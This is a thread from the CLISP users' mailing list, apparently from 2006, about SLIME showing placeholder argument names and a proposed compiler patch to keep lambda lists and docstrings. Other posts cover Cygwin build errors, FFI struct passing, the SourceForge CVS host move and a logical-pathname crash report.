> > I'm assuming that SLIME gets the argument information from the Lisp that 
> > it's interacting with, and that for some reason CLISP is just saying 
> > "arg0" and "arg1". I'm guessing that there is probably a compile-time 
> > switch somewhere for CLISP that will cause it to provide useful info, 
> > probably at the expense of larger image size to store all the argument 
> > names.

Slime asks the lisp image for the argument names.

For clisp, it reduces to:

(defimplementation arglist (fname)
  (block nil
    (or (ignore-errors
          (let ((exp (function-lambda-expression fname)))
            (and exp (return (second exp)))))
        (ignore-errors 
          (return (ext:arglist fname)))
        :not-available)))

(second (function-lambda-expression 'f)) --> (X Y Z)
(ext:arglist 'f)                         --> (#:ARG0 #:ARG1 #:ARG2)

So the  problem is in ext:arglist  --> compiler.lisp/get-signature -->
compiler.lisp/function-signature --> and eventually, the fact that the
argument names is not stored into the closure structure.

I think it could be added easily enough as an additional constant list
in the closures. It could be a last constant.  It seems we would only
need to edit lisp code in compiler.lisp to implement it.


> On my machine this info is stored in file xemacs-21.4.19\lisp\cldoc.el
> (I'm accessing clisp via xemacs and slime). Your setup may be different.
> Cldoc.el is just a text file so you can modify it and restart xemacs and
> immediately see the revisions.
> If you do decide to improve this file I would be interested in seeing a
> copy.

I've got no cldoc.el in any of the emacs versions I've got installed
on my system (ranging from 21.2 to 22.0.50).  


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this has a SLIME hook, and it's easy to modify the argument names
(I've done it):

http://homepage1.nifty.com/bmonkey/emacs/elisp/cldoc.el

Install instructions are embedded at the top of the file.


Lou Vanek wrote:

> On my machine this info is stored in file xemacs-21.4.19\lisp\cldoc.el
> (I'm accessing clisp via xemacs and slime). Your setup may be different.
> Cldoc.el is just a text file so you can modify it and restart xemacs and
> immediately see the revisions.
> If you do decide to improve this file I would be interested in seeing a
> copy.
> -lv
> 
> 
> Dave Roberts wrote:
> 
>> Sorry for the barrage of SLIME-related questions to this list lately, 
>> but I had another.
>>
>> What do I have to do with CLISP such that SLIME will report 
>> informative argument names whenever it does its thing as I'm typing 
>> standard functions? For instance, I was just typing in a call to ASSOC 
>> and SLIME helpfully showed me the function prototype as "(assoc arg0 
>> arg1 &key test test-not key)". Obviously, the "arg0" and "arg1" are 
>> not very helpful, particularly when you can't remember the order of 
>> the arguments. In this particular example, it isn't a big deal, but I 
>> have been running into this and I hadn't been realizing how much I was 
>> relying on this for prompting until it was gone. SBCL shows me 
>> informative argument names and that helps me remember things better. 
>> This is particularly useful when you're dealing with ELT and NTH, 
>> which have things reversed and I can never remember which is which.
>>
>> I'm assuming that SLIME gets the argument information from the Lisp 
>> that it's interacting with, and that for some reason CLISP is just 
>> saying "arg0" and "arg1". I'm guessing that there is probably a 
>> compile-time switch somewhere for CLISP that will cause it to provide 
>> useful info, probably at the expense of larger image size to store all 
>> the argument names.
>>
>> -- Dave



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Please try this ^H^Y command for EMACS at

	http://people.csail.mit.edu/devon/emacs/hyperspec.el

if you prefer info mode to, say, Firefox browsing the HyperSpec.

I'm running CLISP-2.38 (2006-01-24) with SLIME version unknown
(ChangeLog top line dated 2006-04-20) under EMACS-21.3 as I
continue to struggle with SLIME despite the crashes and sketchy UI.
The concept has potential to become a decent GNU-EMACS LISP IDE and
so far I favor the ITS/GNUMACS "array of bytes with buffer gap" text
model over the Multics/Zwei/Hemlock "sequence of strings" text model.

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Devon wrote:

>I am using SLIME for the first time and it tends to wedge EMACS so
>badly all I can do is kill the EMACS process. Not ready for prime time.

Your experience certainly is not typical. Maybe some version conflict between Emacs and Emacs or CLISP?
I'm using slime-1.0 with Emacs-20.7 on MS-Windows
and some n month old slime with Emacs-21.4(?) on Linux.
In comp.lang.lisp, plenty of people report using one or the other version of SLIME and Emacs and CLISP successfully.

I've heard SLIME-2.0 is out. I didn't try it out yet.

Regards,
	Jorg Hohle.


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Lou Vanek writes:
> this has a SLIME hook, and it's easy to modify the argument names
> (I've done it):
> 
> http://homepage1.nifty.com/bmonkey/emacs/elisp/cldoc.el

Methink it could be useful for clisp users who don't use emacs to have
it loadable into the clisp image and usable directly from here.

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> I'm guessing that there is probably a compile-time switch somewhere
> for CLISP that will cause it to provide useful info, probably at the
> expense of larger image size to store all the argument names.

I think that switch is waiting for your patch...

-russ




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Dave Roberts wrote:
>>2. I also tried running CLISP in a separate terminal window and then 
>>loading SWANK manually and then attaching SLIME from Emacs.
>>The terminal doesn't seem to get put into raw mode, however.
>I just tried this in MS-Windows with clisp-2.38 and it worked fine
>(using an old slime-1.2.1, ignoring errors during compilation).
>I'll try out Linux this week-end.

On Linux -- #+UNIX in general --, SLIME indeed messes up WITH-KEYBOARD's ability to switch to RAW mode, as it changes *TERMINAL-IO*.  MS-Windows (#+win32) is not affected, as the implementation is different.
I have a patch on my machine at home, that I'll put into CVS ASAP.
Thank you for reporting the problem.

Devon Sean McCullough wrote:
>The concept has potential to become a decent GNU-EMACS LISP IDE and
>so far I favor the ITS/GNUMACS "array of bytes with buffer gap" text
>model over the Multics/Zwei/Hemlock "sequence of strings" text model.
You lost me.  What was the context for this comment?

>PS:  As soon as I posted my last message, I got phishing spam
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Russell McManus writes:
> Dave Roberts <dave@vyatta.com> writes:
> 
> > I'm guessing that there is probably a compile-time switch somewhere
> > for CLISP that will cause it to provide useful info, probably at the
> > expense of larger image size to store all the argument names.
> 
> I think that switch is waiting for your patch...

I've got one, but it's not complete yet.  I hoped that my
modifications would be saved to the .fasl file and loaded back, but
no.  I'll have to look at it more deeply.


Pascal Bourguignon wrote:
> You'll have to distringuish two cases:
> - functions whose source is lisp, byte-compiled or interpreted.
> - functions whose source is C.
> 
> In the later case, there's no declaration of the parameter names. The
> parameters are pushed on the stack, and the C functions take them from
> the stack. The only declarations are:
> 
> LISPFUNNR(nth,2)
> LISPFUNNR(elt,2)
> LISPFUN(assoc,seclass_default,2,0,norest,key,3,
>         (kw(test),kw(test_not),kw(key)) )
> etc...
> 
> Happily, this concerns mostly COMMON-LISP functions, and perhaps some
> modules: we can maintain meta data separately, from the
> specifications.

Here is a patch which keeps the argument lists and the documentation
strings of the lisp function, saving them as two additionnal constants
in the closure-consts list. 

This makes the size of the full image increase about 2.1% 
to 2756220 bytes from 2698508.

Since it's my first patch on the compiler.lisp, I wouldn't say it's
elegant.  Perhaps it would be nicer to add a couple of slots to the
fnode structure.  But in anycase, storing the lambda list and the
documentation strings as additionnal constants to the closure allows
us to do it without changing the C struct, so I consider it a good
thing.  Advices welcome.


It would remain to collect and keep this data for the subr primitives.



diff -Naurtwb clisp-2.38/src/compiler.lisp clisp-2.38-pjb1/src/compiler.lisp
--- clisp-2.38/src/compiler.lisp	2005-11-28 21:19:39.000000000 +0100
+++ clisp-2.38-pjb1/src/compiler.lisp	2006-05-07 21:27:49.000000000 +0200
@@ -7782,7 +7782,7 @@
 
 
 ;;; turns the ANODE-tree of fnode *func* into a functional object:
-(defun pass2 (*func*)
+(defun pass2 (*func* lambda-list documentation)
   (when (anode-p (fnode-code *func*))
     ;; if Pass2 has not been executed yet,
     ;; only flatten, optimize and assemble the code
@@ -7792,9 +7792,19 @@
         (setq code-list (CONST-to-LOADV code-list)))
       (let ((SPdepth (SP-depth code-list))) ; determine stack requirements
         (setq code-list (insert-combined-LAPs code-list))
+      (setf (fnode-consts *func*)
+            (nconc (fnode-consts *func*) (list lambda-list documentation))
+            (fnode-consts-forms *func*)
+            (nconc (fnode-consts-forms *func*) (list (list 'quote lambda-list)
+                                                     (list 'quote documentation)))
+            (fnode-consts-ltv-forms *func*)
+            (nconc (fnode-consts-ltv-forms *func*)
+                   (list (make-load-time-eval lambda-list)
+                         (make-load-time-eval documentation))))
         (create-fun-obj *func* (assemble-LAP code-list) SPdepth)))
     ;; do Pass2 on the sub-functions
-    (dolist (x (fnode-Consts *func*)) (if (fnode-p x) (pass2 x)))))
+    (dolist (x (fnode-Consts *func*)) 
+      (if (fnode-p x) (pass2 x nil nil))))) ; who can get hold of a sub-function?
 
 #|
 pass2 calls the 1st step.
@@ -10681,7 +10691,8 @@
     (assert (null (fnode-far-used-tagbodys fnode)))
     (unless *no-code*
       (let ((*fnode-fixup-table* '()))
-        (pass2 fnode)
+        (pass2 fnode (first lambdabody) (when (stringp (second lambdabody))
+                                          (second lambdabody)))
         (pass3))
       (when *compiling-from-file*
         (let ((kf (assoc name *known-functions* :test #'equal)))
diff -Naurtwb clisp-2.38/src/configure clisp-2.38-pjb1/src/configure
--- clisp-2.38/src/configure	2006-01-23 22:38:51.000000000 +0100
+++ clisp-2.38-pjb1/src/configure	2006-05-07 21:16:16.000000000 +0200
@@ -273,8 +273,8 @@
 # Identity of this package.
 PACKAGE_NAME='GNU CLISP'
 PACKAGE_TARNAME='clisp'
-PACKAGE_VERSION='2.38 (2006-01-24)'
-PACKAGE_STRING='GNU CLISP 2.38 (2006-01-24)'
+PACKAGE_VERSION='2.38-pjb1 (2006-05-07)'
+PACKAGE_STRING='GNU CLISP 2.38-pjb1 (2006-05-07)'
 PACKAGE_BUGREPORT='http://clisp.cons.org/'
 
 ac_unique_file="lispbibl.d"
diff -Naurtwb clisp-2.38/src/describe.lisp clisp-2.38-pjb1/src/describe.lisp
--- clisp-2.38/src/describe.lisp	2006-01-08 17:30:59.000000000 +0100
+++ clisp-2.38-pjb1/src/describe.lisp	2006-05-08 01:00:04.000000000 +0200
@@ -604,12 +604,27 @@
 ;; auxiliary functions for DESCRIBE of FUNCTION
 
 (defun arglist (func)
-  (setq func (coerce func 'function))
-  (if (typep func 'generic-function)
-    ; Generic functions store the lambda-list. It has meaningful variable names.
-    (clos:generic-function-lambda-list func)
-    ; Normal functions store only the signature, no variable names.
-    (sig-to-list (get-signature func))))
+  (setf func (cond ((and (symbolp func) (fboundp func))
+                    (cond ((macro-function func))
+                          ((symbol-function func))
+                          (t (error "Symbol ~S not a macro or function"))))
+                   ((typep func 'generic-function))
+                   ((functionp func) func)
+                   ((macro-function func))
+                   (t (error "~S is not a function designator"))))
+  (cond
+    ((typep func 'generic-function)
+     ;; Generic functions store the lambda-list. It has meaningful variable names.
+     (clos:generic-function-lambda-list func))
+    ((and (sys::closurep func) (sys::%compiled-function-p func))
+     (car (last (sys::closure-consts func) 2)))
+    ((function-lambda-expression func)
+     (second (function-lambda-expression func)))
+    (t
+     ;; Normal functions store only the signature, no variable names.
+     (sig-to-list (get-signature func)))))
+
+
 
 (defun describe-signature (stream req-anz opt-anz rest-p keyword-p keywords
                            allow-other-keys)
diff -Naurtwb clisp-2.38/src/documentation.lisp clisp-2.38-pjb1/src/documentation.lisp
--- clisp-2.38/src/documentation.lisp	2005-11-17 20:04:42.000000000 +0100
+++ clisp-2.38-pjb1/src/documentation.lisp	2006-05-07 21:26:08.000000000 +0200
@@ -5,15 +5,18 @@
 (in-package "CLOS")
 
 (defun function-documentation (x)
-  (if (typep-class x <standard-generic-function>)
-      (std-gf-documentation x)
-      (or (and (eq (type-of x) 'FUNCTION) ; interpreted function?
+  (cond
+    ((typep-class x <standard-generic-function>)
+     (std-gf-documentation x))
+    ((eq (type-of x) 'FUNCTION)         ; interpreted function?
                (sys::%record-ref x 2))
-          (let ((name (sys::function-name x)))
+    ((eq (type-of x) 'COMPILED-FUNCTION)
+     (car (last (sys::closure-consts x))))
+    (t (let ((name (sys::function-name x)))
             (and (sys::function-name-p name)
-                 (fboundp name) (eq x (sys::unwrapped-fdefinition name))
-                 (getf (get (sys::get-funname-symbol name) 'sys::doc)
-                       'function))))))
+              (fboundp name) 
+              (eq x (sys::unwrapped-fdefinition name))
+              (getf (get (sys::get-funname-symbol name) 'sys::doc) 'function))))))
 
 ;;; documentation
 (defgeneric documentation (x doc-type)





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Russell McManus wrote:
> Dave Roberts <dave@vyatta.com> writes:
> 
>> I'm guessing that there is probably a compile-time switch somewhere
>> for CLISP that will cause it to provide useful info, probably at the
>> expense of larger image size to store all the argument names.
> 
> I think that switch is waiting for your patch...

Doh! Bummer.

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Thanks, I'll try it.

Lou Vanek wrote:
> this has a SLIME hook, and it's easy to modify the argument names
> (I've done it):
> 
> http://homepage1.nifty.com/bmonkey/emacs/elisp/cldoc.el
> 
> Install instructions are embedded at the top of the file.



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   From: "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com>
   Date: Mon, 8 May 2006 10:04:34 +0200 

   Devon Sean McCullough wrote:
   >The concept has potential to become a decent GNU-EMACS LISP IDE and
   >so far I favor the ITS/GNUMACS "array of bytes with buffer gap" text
   >model over the Multics/Zwei/Hemlock "sequence of strings" text model.
   You lost me.  What was the context for this comment?

Sorry that was so obscure.  I meant to say SLIME could be a reason to
keep good ol' familiar bloated overgrown GNU EMACS rather than switch
to some EMACS written in Common Lisp, e.g., Zwei, Hemlock, etc.

   >PS:  As soon as I posted my last message, I got phishing spam
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   >because I have never used this mailbox anywhere else.

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Might be worth posting a different spam-bait to every recipient and
archive.  Mailman might have such a tool, who is the Mailman admin?

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>    From: "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com>
>    Date: Mon, 8 May 2006 10:04:34 +0200 
> 
>    Devon Sean McCullough wrote:
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>    >model over the Multics/Zwei/Hemlock "sequence of strings" text model.
>    You lost me.  What was the context for this comment?
> 
> Sorry that was so obscure.  I meant to say SLIME could be a reason to
> keep good ol' familiar bloated overgrown GNU EMACS rather than switch
> to some EMACS written in Common Lisp, e.g., Zwei, Hemlock, etc.

Not really.  
Slime have been implemented in Common Lisp, get it from McCLIM Desktop. 

I don't know if it has been integrated with Climacs yet.  If not, it's
your opportunity to become famous! ;-)


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Pascal Bourguignon wrote:
>Here is a patch which keeps the argument lists and the documentation
>strings of the lisp function, saving them as two additionnal constants
>in the closure-consts list. 

That doesn't seem reasonable to me.  Every closure object becomes larger to setup while only a mere few of them will ever be looked at.
Having everybody pay the price for something that only few use may be at the base of many ancient and contemporary society, but that's not what I'd like to see in program code!

SLIME is likely unable to provide the correct arglist for cases like this:
(defun foo ...)
(defun bar #
  (flet ((foo ...))
    (foo <point here>
Of course, there's no theoretical impossibility. It just requires more than looking up FOO in the Lisp image: conservatively parse the buffer, scan for lexical environments, beware of incomplete code.

My approach would have been to patch the DEFUN macro.  Given the context (arglist from SLIME), it can be argued that what you're looking for is
function name -> arglist, not
<some closure> -> arglist.
Changing DEFUN, DEFMACRO and DEFGENERIC seems like the right place for this.
No need to bang the compiler.

I'd save a canonicalized form of the arglist into the SYMBOL-PLIST.  An advantage of doing so over the "integrated into closure" approach is that this works even when a function is temporarily redefined via TRACE.

And it should work for macros.  The arglist for a macro is *not* what you get from the closure in the SYMBOL-FUNCTION slot with your patch.

BTW, why do you care about the documentation? It's already there, e.g.:
:[2]> (documentation 'step 'function)
:"(STEP form), CLTL p. 441"
[One of my numerous TODO items is to provide a better docstring for STEP and TRACE]

>I hoped that my
>modifications would be saved to the .fasl file and loaded back, but
>no.  I'll have to look at it more deeply.
If you go the DEFUN macro expansion way, there should be no such surprises.

How would you canonicalize the arglist?  Keeping symbols makes the containing package bloated with cruft and annoys me when using APROPOS.  Strings (names) is arguably all the human user needs to see, but it would not feel Lispy.  Uninterned symbols look weird somewhat, ...

Regards,
	Jorg Hohle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2006-05-09 10:12:40 +0200]:
>
> That doesn't seem reasonable to me.  Every closure object becomes
> larger to setup while only a mere few of them will ever be looked at.

indeed.

all metadata (doc strings, arg lists) should be written into an external
file and loaded on demand.

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   From: Sam Steingold <sds@podval.org>
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   all metadata (doc strings, arg lists) should be written into an external
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Debugging data belongs where gcc -g puts it,
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Hoehle, Joerg-Cyril writes:
> Pascal Bourguignon wrote:
> >Here is a patch which keeps the argument lists and the documentation
> >strings of the lisp function, saving them as two additionnal constants
> >in the closure-consts list. 
> 
> That doesn't seem reasonable to me.  Every closure object becomes
> larger to setup while only a mere few of them will ever be looked
> at.  Having everybody pay the price for something that only few use
> may be at the base of many ancient and contemporary society, but
> that's not what I'd like to see in program code!

AFAIK, the closure-consts list is not duplicated for all closures. It's
a per-function list.  Isn't it true?

Each function has a lambda-list and possibly a documentation string.
To me, it seems fair to let them bear their own weight.

In any case, this is less than 2% of an image size.


Now, if you could provide a pair of functions
WILL-EVER-NEED-LAMBDA-LIST-ORACLE and
WILL-EVER-NEED-DOCUMENTATION-STRING-ORACLE, I'd be happy to use them
to avoid storing data that won't be needed.
 
> SLIME is likely unable to provide the correct arglist for cases like this:
> (defun foo ...)
> (defun bar #
>   (flet ((foo ...))
>     (foo <point here>
>
> Of course, there's no theoretical impossibility. It just requires
> more than looking up FOO in the Lisp image: conservatively parse the
> buffer, scan for lexical environments, beware of incomplete code.

This is something else,  a job for slime indeed.


> My approach would have been to patch the DEFUN macro.  Given the
> context (arglist from SLIME), it can be argued that what you're
> looking for is
> function name -> arglist, not
> <some closure> -> arglist.

(defparameter *funs* 
   (list (lambda (x y) "A binary function" (+ x y))
         (lambda (x y z) "A ternay function" (* x y z))))

(map nil (lambda (fun)
           (format t "Calling ~A --> ~A~%" 
               (documentation fun 'function)
               (apply fun (mapcar (lambda (arg) (random)) (ext:arglist fun)))))
         *funs*)


> Changing DEFUN, DEFMACRO and DEFGENERIC seems like the right place for this.
> No need to bang the compiler.
> 
> I'd save a canonicalized form of the arglist into the SYMBOL-PLIST.
> An advantage of doing so over the "integrated into closure" approach
> is that this works even when a function is temporarily redefined via
> TRACE.
> 
> And it should work for macros.  The arglist for a macro is *not*
> what you get from the closure in the SYMBOL-FUNCTION slot with your
> patch.
> 
> BTW, why do you care about the documentation? It's already there, e.g.:
> :[2]> (documentation 'step 'function)
> :"(STEP form), CLTL p. 441"
> [One of my numerous TODO items is to provide a better docstring for STEP and TRACE]

Inertia.  This is a recent addition.  I should indeed look at how
documentation strings are kept.  But anyways, it's not complete:

[75]> (with-open-file (src "/tmp/doc-p.lisp"
                       :direction :output
                       :if-does-not-exist :create
                       :if-exists :supersede)
       (print '(defparameter *f* (lambda (x)
                                   "A test function of one argument."
                                   (print x))) 
              src))
(DEFPARAMETER *F* (LAMBDA (X) "A test function of one argument." (PRINT X)))
[76]> (load(compile-file "/tmp/doc-p.lisp"))
;; Compiling file /tmp/doc-p.lisp ...
;; Wrote file /tmp/doc-p.fas
0 errors, 0 warnings
;; Loading file /tmp/doc-p.fas ...
;; Loaded file /tmp/doc-p.fas
T
[77]> (documentation *f* 'function)
NIL


However, one advantage of keeping them separated from the functions is
that they can be easily purged.  
 
> >I hoped that my modifications would be saved to the .fasl file and
> >loaded back, but no.  I'll have to look at it more deeply.
>
> If you go the DEFUN macro expansion way, there should be no such surprises.
>
> How would you canonicalize the arglist?  Keeping symbols makes the
> containing package bloated with cruft and annoys me when using
> APROPOS.  Strings (names) is arguably all the human user needs to
> see, but it would not feel Lispy.  Uninterned symbols look weird
> somewhat, ...

On the contrary, it would be nice if APROPOS could list:

[199]> (apropos :time)
TIME                                       argument to DECODE-UNIVERSAL-TIME
TIME                                       macro
EXT:TIMES                                  macro
DECODE-UNIVERSAL-TIME                      function
...

You could easily find all the functions applying to sequences or
lists, or whatever argument name.

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Hi,

I have some trouble to compile clisp2.35 in cygwin under Windows XP. The errors
which appeared were all about if WIN32 is defined. Is there any option i need to
give to configure or to make to recognize i am compiling under Cygwin? I tried

./configure CFLAGS=CYGWIN32

but configure stopped immediately. According to uname it is CYGWIN_NT-5.1 but
there is no such entry in sourcecode AFAIK.

I tried to remove or to undefine WIN32 by myself, but the compilation process
stopped on the step making calls.o

make[1]: Entering directory `/clisp-2.35/clisp-2.35/src/syscalls'
/clisp-2.35/clisp-2.35/src/lisp.exe -M /clisp-2.35/clisp-2.35/src/lispinit.mem -
B /clisp-2.35/clisp-2.35/src -N /clisp-2.35/clisp-2.35/src/locale -Efile UTF-8 -
Eterminal UTF-8 -norc -q ../modprep.fas calls.c
;; MODPREP: "calls.c" --> #P"calls.m.c"
;; MODPREP: reading "calls.c": 131,835 bytes, 3,471 lines

;; MODPREP: 471 objects, 61 DEFUNs
;; packages: ("OS" "POSIX")
MODPREP: wrote calls.m.c (423,084 bytes)
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-de
clarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DNO_SIGSEG
V -I. -I.. -c calls.m.c -o calls.o
In file included from calls.c:20:
../clisp.h:589: warning: register used for two global register variables
calls.c: In function `kwtopropid':
calls.c:3260: error: `PID_CODEPAGE' undeclared (first use in this function)
calls.c:3260: error: (Each undeclared identifier is reported only once
calls.c:3260: error: for each function it appears in.)
calls.c:3261: error: `PID_LOCALE' undeclared (first use in this function)
make[1]: *** [calls.o] Error 1
make[1]: Leaving directory `/clisp-2.35/clisp-2.35/src/syscalls'
make: *** [syscalls] Error 2

don't know what to change there to make it progress. But most important would be
for me how to let configure/make whatever know that i am compiling under cygwin?

any ideas?

thank you,
Dimitrios Kapanikis



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> * Dimitrios Kapanikis <qvzvgevbf.xncnavxvf@tznvy.pbz> [2006-05-11 13:33:27 +0000]:
>
> I have some trouble to compile clisp2.35 in cygwin under Windows XP.

clisp 2.38 (the latest version) is distributed with cygwin.
just install it using cygwin setup.exe

> The errors which appeared were all about if WIN32 is defined. Is there
> any option i need to give to configure or to make to recognize i am
> compiling under Cygwin? I tried
>
> ./configure CFLAGS=CYGWIN32

try
./configure --build


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Bruno Haible <bruno@clisp.org> writes:

> Joerg-Cyril Hoehle wrote:
>> >Suggestions: Either write a wrapper around your function to pass or
>> >return the structs by pointer. Or enhance clisp's foreign.d to
>> >deal with this case automatically.
>>

I recall the problem: on x86_64 (Red Hat)
with stock clisp-2.38, in the FFI,
passing by value structs (containing doubles) to a C function 
fails.

I finally wrote a wrapper to work with pointer on structs, and
it works fine now.

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> * Bernard Urban <Oreaneq.Heona@zrgrb.se> [2006-05-11 16:13:18 +0200]:
>
> Bruno Haible <bruno@clisp.org> writes:
>
>> Joerg-Cyril Hoehle wrote:
>>> >Suggestions: Either write a wrapper around your function to pass or
>>> >return the structs by pointer. Or enhance clisp's foreign.d to
>>> >deal with this case automatically.
>>>
>
> I recall the problem: on x86_64 (Red Hat)
> with stock clisp-2.38, in the FFI,
> passing by value structs (containing doubles) to a C function 
> fails.

http://clisp.cons.org/impnotes/dffi.html#ffi-struct-arg

do we need an FAQ entry on this too or it will be useless because no one
reads FAQ anyway?

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Dimitrios Kapanikis wrote:
>calls.c: In function `kwtopropid':
>calls.c:3260: error: `PID_CODEPAGE' undeclared (first use in 
>this function)
>calls.c:3260: error: (Each undeclared identifier is reported only once
>calls.c:3260: error: for each function it appears in.)
>calls.c:3261: error: `PID_LOCALE' undeclared (first use in 
>this function)
>make[1]: *** [calls.o] Error 1
>make[1]: Leaving directory `/clisp-2.35/clisp-2.35/src/syscalls'
>make: *** [syscalls] Error 2

Arseny Slobodyuk changed this in CVS just a couple of days ago.
The patch is to replace these 2 PID_xyz with their literal values.

Regards,
	Jorg Hohle.


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Dear clisp users,

I've just been informed about the most recent changes about sourceforge.
Here's a short summary:

o CVS is moved to clisp.cvs.sourceforge.net
It's already online at
http://clisp.cvs.sourceforge.net/clisp/clisp/
o ViewCVS is gone, ViewVC is current
o ViewVC reflects the most current tree (developer view), i.e. changes are immediately reflected
o anonymous CVS lags behind by a couple of hours (as previously)
o nightly tarball is gone, must use rsync instead

As a consequence of the server name change, all users that checked out a CVS tree anywhere on sourceforge must check out again or perform some some magic to have their CVS tree point to the new location:
	PROJECT_UNIX_NAME.cvs.sourceforge.net
Actually, I wonder how I'm going to do this without loosing the few changes that I currently have in my local copy. Is it a bad idea to merely change all **/CVS/Root files to point to the new host?

o I've received no information about the former cvs-ssh.sourceforge.net or cvs-pserver.sourceforge.net service. It allowed users otherwise blocked by firewalls to access ssh on the HTTP or HTTPS port.
However, clisp.cvs.sourceforge.net has sshd listening on the HTTPS port. So that's maybe how it's going to work in the future.

Regards,
	Jorg Hohle.


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On 5/11/06, Sam Steingold <sds@podval.org> wrote:

> clisp 2.38 (the latest version) is distributed with cygwin.
> just install it using cygwin setup.exe

well, for my purpose i need to change some lines in the sourcecode so
I cannot just use the package from cygwin.

> try
> ./configure --build

i tried that with
./configure --build=3Di386-unknown-cygwin*

but same behaviour and errors as before. Is the parameter maybe wrong?
Running Windows XP and Cygwin on intel or amd processor (doesnt so
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Hi,

settings have changed from times to times.  I'm quite pleased that the current mailing list setting is that anybody is allowed to post to clisp-list without requiring registration & membership first.  This has not always been the case in the past, and I don't know for how long the current settings have been in effect.

The current setting makes it easy for casual users to ask questions and report problems.  Sourceforge's spam filter seems good enough for now at eliminating almost all unwanted posts.

A small drawback is that I recommend (and AFAIK general netiquette considers it polite to do so) that replies be CC:'d to the original poster, for s/he may not be a member of the mailing list.  Of course, you don't need to do so when replying to regular contributors (i.e. known members) of this mailing list ;)

I'm very much in favour of open mailing lists, as we had >10 years ago before spam abuse caused a change in most policies.  In effect, spam is a successful DoS on worldwide e-mail service: open lists became member-only, causing a loss in communications among people.  For instance, there's a bug I'd like to submit to the sbcl mailing list.  But I need to register first and haven't yet done so.

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* Joerg-Cyril Hoehle:

> Actually, I wonder how I'm going to do this without loosing the few
> changes that I currently have in my local copy. Is it a bad idea to
> merely change all **/CVS/Root files to point to the new host?

It should be a safe change, provided that the repository is actually
the same.


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Date: Sat May 13 20:04:34 2006
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The following happens both with clisp-2.38 tarball or latest CVS, on
MacOSX 10.4.6 on a  MacMini Intel Core Solo:


[pjb@galene pjb]$ /usr/local/bin/clisp -ansi -q -norc
[1]> (directory "/usr/local/share/lisp/packages/**/*.asd")
(#P"/usr/local/share/lisp/packages/net/telent/trivial-sockets/trivial-sockets.asd"
 #P"/usr/local/share/lisp/packages/net/telent/trivial-sockets/trivial-socket-stream.asd"
 #P"/usr/local/share/lisp/packages/net/telent/thyme/thyme.asd"
 #P"/usr/local/share/lisp/packages/net/telent/telent/telentweb/telentweb.asd"
 #P"/usr/local/share/lisp/packages/net/telent/split-sequence/split-sequence.asd"
...
 #P"/usr/local/share/lisp/packages/com/b9/uffi/uffi-tests.asd")
[2]> (let ((host "PACKAGES")
           (path #P"/usr/local/share/lisp/packages/"))
       (SETF (LOGICAL-PATHNAME-TRANSLATIONS HOST)
             (mapcar (lambda (tail)
                       (list 
                        (merge-pathnames 
                         tail
                         (make-pathname
                          :host host 
                          :directory '(:absolute :wild-inferiors)))
                        (merge-pathnames 
                         tail 
                         (make-pathname
                          :directory (APPEND (PATHNAME-DIRECTORY PATH)
                                             '( :WILD-INFERIORS ))))))
                     '(#P"*" #P"*.*" #P"*.*.*"))))
((#P"/**/*" #P"/usr/local/share/lisp/packages/**/*")
 (#P"/**/*.*" #P"/usr/local/share/lisp/packages/**/*.*")
 (#P"/**/*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*"))
[3]> (translate-logical-pathname #P"PACKAGES:**;*.ASD")
Exiting on signal 4
[pjb@galene pjb]$ 


I also observed this:

;; Scanning ASDF packages...
Exiting on signal 4

*** - Internal error: statement in file "debug.d", line 1149 has been
      reached!!
      Please send the authors of the program a description how you produced
      this error!
The following restarts are available:
ABORT          :R1      ABORT
ABORT          :R2      ABORT
ABORT          :R3      ABORT
ABORT          :R4      ABORT
Break 1 [5]> :bt
Printed 0 frames
Break 1 [5]> :r4

*** - handle_fault error2 ! address = 0x1008050 not in [0x19e67000,0x1a1c180c) !
SIGSEGV cannot be cured. Fault address = 0x1008050.
Permanently allocated: 101760 bytes.
Currently in use: 4488456 bytes.
Free space: 849429 bytes.

[pjb@galene pjb]$ 


Unfortunately, ./configure --with-debug doesn't result in a
successfull compilation (_getSP undefined).



LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.38 (2006-01-24) (built 3356409268) (memory 3356409954)"
SOFTWARE-TYPE                
"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_READLINE -DNO_GETTEXT -I. -L/usr/local/lib  -x none libcharset.a -lncurses  -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.3
libiconv 1.9"
SOFTWARE-VERSION             "GNU C 4.0.1 (Apple Computer, Inc. build 5250)"
MACHINE-INSTANCE             "galene.local [10.0.2.1]"
MACHINE-TYPE                 "I386"
MACHINE-VERSION              "I386"
*FEATURES*                   
(:RAWSOCK :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS
 :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS
 :LOGICAL-PATHNAMES :SCREEN :UNICODE :BASE-CHAR=CHARACTER :UNIX :MACOS)



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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2006-05-12 10:03:26 +0200]:
>
> As a consequence of the server name change, all users that checked out
> a CVS tree anywhere on sourceforge must check out again or perform
> some some magic to have their CVS tree point to the new location:
> 	PROJECT_UNIX_NAME.cvs.sourceforge.net

find . -regex .*CVS/Root -print0 |xargs -0 perl -p -i -e 's/\@cvs/\@clisp.cvs/'


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I'm glad to see it's back in service.
I've now uploaded some changes to clocc that have been waiting for that.
Now maybe I can try to build a current CVS clisp.
It would be useful to mark states that are thought to be relatively
stable and buildable.

 > o nightly tarball is gone, must use rsync instead

Looking at http://clisp.sourceforge.net/ I notice the tarball link is
still there, though it doesn't work.  Perhaps it could be replaced by
a link describing how to get it from rsync.  Will this allow us to
get source as of some particular time (as described above)?

The other links next to tarball, for cvs browsing and development news
